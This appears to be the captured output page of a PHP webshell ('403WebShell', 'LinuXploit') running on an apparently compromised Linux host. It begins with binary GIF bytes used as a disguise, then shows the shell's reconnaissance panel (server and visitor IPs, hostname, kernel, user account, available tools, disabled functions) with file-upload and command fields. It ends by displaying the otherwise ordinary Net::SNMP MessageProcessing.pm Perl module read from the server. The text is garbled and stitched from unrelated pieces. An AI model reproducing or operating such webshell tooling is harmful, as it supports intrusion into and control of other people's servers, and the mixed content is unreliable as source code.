GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/perl5/vendor_perl/Net/SNMP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/perl5/vendor_perl/Net/SNMP/MessageProcessing.pm
# -*- mode: perl -*-
# ============================================================================

package Net::SNMP::MessageProcessing;

# $Id: MessageProcessing.pm,v 3.1 2010/09/10 00:01:22 dtown Rel $

# Object that implements the Message Processing module.

# Copyright (c) 2001-2010 David M. Town <[email protected]>
# All rights reserved.

# This program is free software; you may redistribute it and/or modify it
# under the same terms as the Perl 5 programming language system itself.

# ============================================================================

use strict;

use Net::SNMP::PDU qw( 
   :types :msgFlags :securityLevels asn1_itoa SNMP_VERSION_3 TRUE FALSE 
);

srand( time() ^ ($$ + ($$ <<15)) );

## Version of the Net::SNMP::MessageProcessing module

our $VERSION = v3.0.1;

## Package variables

our $INSTANCE;          # Reference to the Singleton object

our $DEBUG = FALSE;     # Debug flag

## Object array indexes

sub _ERROR    { 0 }     # Error message
sub _HANDLES  { 1 }     # Cached request messages

BEGIN
{
   # See if there is a better pseudorandom number generator (PRNG) available.
   if (eval 'require Math::Random::MT::Auto') {
      Math::Random::MT::Auto->import('rand');
   }
}

# [public methods] -----------------------------------------------------------

sub instance
{
   return $INSTANCE ||= Net::SNMP::MessageProcessing->_new();
}

sub prepare_outgoing_msg
{
   my ($this, $pdu) = @_;

   # Clear any previous errors
   $this->_error_clear();

   if ((@_ != 2) || (!ref $pdu)) {
      return $this->_error('The PDU object is missing or invalid');
   }

   # We must have a Security Model in order to prepare the message. 
   if (!defined $pdu->security()) {
      return $this->_error('The Security Model object is not defined');
   }

   # Create a new Message
   my ($msg, $error) = Net::SNMP::Message->new(
      -callback   => $pdu->callback(),
      -leadingdot => $pdu->leading_dot(),
      -requestid  => $pdu->request_id(),
      -security   => $pdu->security(),
      -translate  => $pdu->translate(),
      -transport  => $pdu->transport(),
      -version    => $pdu->version()
   );
   return $this->_error($error) if !defined $msg;

   if ($pdu->version() == SNMP_VERSION_3) {

      # ScopedPDU::=SEQUENCE

      if (!defined $pdu->prepare_pdu_scope()) {
         return $this->_error($pdu->error());
      }

      # We need to copy the contextEngineID and contextName to the 
      # request message so that they are available for comparison 
      # with the response message.

      $msg->context_engine_id($pdu->context_engine_id());
      $msg->context_name($pdu->context_name());

      # Set a new msgID for each message unless the PDU type is a
      # GetResponse-PDU or a Report-PDU.

      if (($pdu->pdu_type() != GET_RESPONSE) && ($pdu->pdu_type() != REPORT)) {
         $pdu->msg_id($this->msg_handle_alloc());
      }

      # msgGlobalData::=SEQUENCE

      if (!defined $this->_prepare_global_data($pdu, $msg)) {
         return $this->_error();
      }

   }

   # Pass off to the Security Model
   if (!defined $pdu->security()->generate_request_msg($pdu, $msg)) {
      return $this->_error($pdu->security()->error());
   }

   # If a response to the message is expected, add the message to the
   # cache using the msgId (request-id) has the lookup "handle".

   if ($pdu->expect_response()) {
      $this->[_HANDLES]->{$msg->msg_id()} = $msg;
   }

   # Return the new message.
   return $msg;
}

sub prepare_data_elements
{
   my ($this, $msg) = @_;

   # Clear any previous errors
   $this->_error_clear();

   if ((@_ != 2) || (!ref $msg)) {
      return $this->_error('The Message object is missing or invalid');
   }

   # message::=SEQUENCE
   return $this->_error($msg->error()) if !defined $msg->process(SEQUENCE);

   # version::=INTEGER
   if (!defined $msg->version($msg->process(INTEGER))) {
      return $this->_error($msg->error());
   }

   # Find the request message in the cache.  We are assuming this 
   # message is a response to an outstanding request.

   my $request;

   if ($msg->version() == SNMP_VERSION_3) {

      # msgGlobalData::=SEQUENCE
      if (!defined $this->_process_global_data($msg)) {
         return $this->_error();
      }

      $request = $this->msg_handle_delete($msg->msg_id());

   } else {

      # community::=OCTET STRING
      if (!defined $msg->security_name($msg->process(OCTET_STRING))) {
         return $this->_error($msg->error());
      }

      # Cast the Message to a PDU
      if (!defined($msg = Net::SNMP::PDU->new($msg))) {
         return $this->_error('Failed to allocate a new PDU object');
      }

      # PDU::=SEQUENCE
      if (!defined $msg->process_pdu_sequence()) {
         return $this->_error($msg->error());
      }

      if ($msg->pdu_type() != GET_RESPONSE) {
          return $this->_error(
             'A %s was expected, but %s was found',
             asn1_itoa(GET_RESPONSE), asn1_itoa($msg->pdu_type())
          );
      }

      $request = $this->msg_handle_delete($msg->request_id());

   }

   # Was a matching request found?
   if (!defined $request) {
      return $this->_error('No matching request message was found');
   }

   # Update the received message with the relevant request data. 
   $msg->callback($request->callback());
   $msg->timeout_id($request->timeout_id());
   $msg->transport($request->transport());

   # Now that we have found the matching request for this response
   # we return a FALSE error instead of undefined so that the error
   # gets propagated back to the user.

   # Compare the Security Models
   if ($msg->msg_security_model() != $request->msg_security_model()) {
      $this->_error(
         'The msgSecurityModel %d was expected, but %d was found',
         $request->msg_security_model(), $msg->msg_security_model()
      );
      return FALSE;
   }
  
   $msg->security($request->security());

   # Pass off to the Security Model
   if (!defined $request->security()->process_incoming_msg($msg)) {
      $this->_error($request->security()->error());
      return FALSE;
   }

   if ($msg->version() == SNMP_VERSION_3) {

      # Adjust our maxMsgSize if necessary
      if ($msg->msg_max_size() < $request->max_msg_size()) {
         DEBUG_INFO('new maxMsgSize = %d', $msg->msg_max_size());
         if (!defined $request->max_msg_size($msg->msg_max_size())) {
            $this->_error($request->error());
            return FALSE;
         }
      }

      # Cast the Message to a PDU
      if (!defined($msg = Net::SNMP::PDU->new($msg))) {
         $this->_error('Failed to allocate new PDU object');
         return FALSE;
      }

      # ScopedPDU::=SEQUENCE
      if (!defined $msg->process_pdu_scope()) {
         $this->_error($msg->error());
         return FALSE;
      }

      # PDU::=SEQUENCE
      if (!defined $msg->process_pdu_sequence()) {
         $this->_error($msg->error());
         return FALSE;
      }

      if ($msg->pdu_type() != REPORT) {

         if ($msg->pdu_type() != GET_RESPONSE) {
            $this->_error(
               'A %s was expected, but %s was found',
               asn1_itoa(GET_RESPONSE), asn1_itoa($msg->pdu_type())
            );
            return FALSE;
         }

         # Compare the contextEngineID
         if ($msg->context_engine_id() ne $request->context_engine_id()) {
            $this->_error(
               'The contextEngineID "%s" was expected, but "%s" was found',
               unpack('H*', $request->context_engine_id()),
               unpack('H*', $msg->context_engine_id()),
            );
            return FALSE;
         }

         # Compare the contextName
         if ($msg->context_name() ne $request->context_name()) {
            $this->_error(
               'The contextName "%s" was expected, but "%s" was found',
               $request->context_name(), $msg->context_name()
            );
            return FALSE;
         }

         # Check the request-id
         if ($msg->request_id() != $request->request_id()) {
            $this->_error(
               'The request-id %d was expected, but %d was found',
               $request->request_id(), $msg->request_id()
            );
            return FALSE;
         }
      }

   }

   # Now update the message with format parameters.
   $msg->leading_dot($request->leading_dot());
   $msg->translate($request->translate());

   # VarBindList::=SEQUENCE OF VarBind

   if (!defined $msg->process_var_bind_list()) {
      $this->_error($msg->error());
      return FALSE;
   }

   # Return the PDU
   return $msg;
}

sub msg_handle_alloc
{
   my ($this) = @_;

   # Limit message handles by RFC 3412 - msgID::=INTEGER (0..2147483647)

   my $handle = int rand(2147483648);

   while (exists $this->[_HANDLES]->{$handle} &&
          keys %{$this->[_HANDLES]->{$handle}} < 2147483648)
   {
      $handle = int rand(2147483648);
   }

   return $handle;
}

sub msg_handle_delete
{
   my ($this, $handle) = @_;

   # Clear any previous errors
   $this->_error_clear();

   return $this->_error('No msgHandle was specified') if (@_ < 2);

   if (!exists $this->[_HANDLES]->{$handle}) {
      return $this->_error('The msgHandle %d was not found', $handle);
   }

   return delete $this->[_HANDLES]->{$handle};
}

sub error
{
   return $_[0]->[_ERROR] || q{};
}

sub debug
{
   return (@_ == 2) ? $DEBUG = ($_[1]) ? TRUE : FALSE : $DEBUG;
}

# [private methods] ----------------------------------------------------------

sub _new
{
   my ($class) = @_;

   # The constructor is private since we only want one MessageProcessing
   # object.  We also reserve message handle (request-id/msgID) 0 so that 
   # it is not used for valid messages.

   return bless [ undef, { 0, undef } ], $class;
}

sub _prepare_global_data
{
   my ($this, $pdu, $msg) = @_;

   # msgSecurityModel::=INTEGER

   if (!defined
         $msg->prepare(
            INTEGER, $msg->msg_security_model($pdu->msg_security_model())
         )
      )
   {
      return $this->_error($msg->error());
   }

   # msgFlags::=OCTET STRING

   my $security_level = $pdu->security_level();
   my $msg_flags      = MSG_FLAGS_NOAUTHNOPRIV | MSG_FLAGS_REPORTABLE;

   if ($security_level > SECURITY_LEVEL_NOAUTHNOPRIV) {
      $msg_flags |= MSG_FLAGS_AUTH;
      if ($security_level > SECURITY_LEVEL_AUTHNOPRIV) {
         $msg_flags |= MSG_FLAGS_PRIV;
      }
   }

   if (!$pdu->expect_response()) {
      $msg_flags &= ~MSG_FLAGS_REPORTABLE;
   }

   if (!defined $msg->prepare(OCTET_STRING, pack 'C', $msg_flags)) {
      $this->_error($msg->error());
   }

   $msg->msg_flags($msg_flags);

   # msgMaxSize::=INTEGER

   if (!defined
         $msg->prepare(INTEGER, $msg->msg_max_size($pdu->max_msg_size()))
      )
   {
      return $this->_error($msg->error());
   }

   # msgID::=INTEGER
   if (!defined $msg->prepare(INTEGER, $msg->msg_id($pdu->msg_id()))) {
      return $this->_error($msg->error());
   }

   # msgGlobalData::=SEQUENCE
   if (!defined $msg->prepare(SEQUENCE)) {
      return $this->_error($msg->error());
   }

   return TRUE;
}

sub _process_global_data
{
   my ($this, $msg) = @_;

   # msgGlobalData::=SEQUENCE
   return $this->_error($msg->error()) if !defined $msg->process(SEQUENCE);

   # msgID::=INTEGER
   if (!defined $msg->msg_id($msg->process(INTEGER))) {
      return $this->_error($msg->error());
   }

   # msgMaxSize::=INTEGER
   if (!defined $msg->msg_max_size($msg->process(INTEGER))) {
      return $this->_error($msg->error());
   }

   # msgFlags::=OCTET STRING

   my $msg_flags = $msg->process(OCTET_STRING);

   if (!defined $msg_flags) {
      return $this->_error($msg->error());
   }

   if (CORE::length($msg_flags) != 1) {
      return $this->_error(
         'The msgFlags length of %d is invalid', CORE::length($msg_flags)
      );
   }

   $msg->msg_flags($msg_flags = unpack 'C', $msg_flags);

   # Validate the msgFlags and derive the securityLevel. 

   my $security_level = SECURITY_LEVEL_NOAUTHNOPRIV;

   if ($msg_flags & MSG_FLAGS_AUTH) {
      $security_level = SECURITY_LEVEL_AUTHNOPRIV;
      if ($msg_flags & MSG_FLAGS_PRIV) {
         $security_level = SECURITY_LEVEL_AUTHPRIV;
      }
   } elsif ($msg_flags & MSG_FLAGS_PRIV) {

      # RFC 3412 - Section 7.2 1d: "If the authFlag is not set
      # and privFlag is set... ...the message is discarded..."

      return $this->_error('The msgFlags value 0x%02x is invalid', $msg_flags);
   }

   # RFC 3412 - Section 7.2 1e: "Any other bits... ...are ignored."
   if ($msg_flags & ~MSG_FLAGS_MASK) {
      DEBUG_INFO('questionable msgFlags value 0x%02x', $msg_flags);
   }

   $msg->security_level($security_level);

   # msgSecurityModel::=INTEGER
   if (!defined $msg->msg_security_model($msg->process(INTEGER))) {
      return $this->_error($msg->error());
   }

   return TRUE;
}

sub _error
{
   my $this = shift;

   if (!defined $this->[_ERROR]) {
      $this->[_ERROR] = (@_ > 1) ? sprintf(shift(@_), @_) : $_[0];
      if ($this->debug()) {
         printf "error: [%d] %s(): %s\n",
                (caller 0)[2], (caller 1)[3], $this->[_ERROR];
      }
   }

   return;
}

sub _error_clear
{
   return $_[0]->[_ERROR] = undef;
}

sub DEBUG_INFO
{
   return $DEBUG if (!$DEBUG);

   return printf
      sprintf('debug: [%d] %s(): ', (caller 0)[2], (caller 1)[3]) .
      ((@_ > 1) ? shift(@_) : '%s') .
      "\n",
      @_;
}

# ============================================================================
1; # [end Net::SNMP::MessageProcessing]

Youez - 2016 - github.com/yon3zu
LinuXploit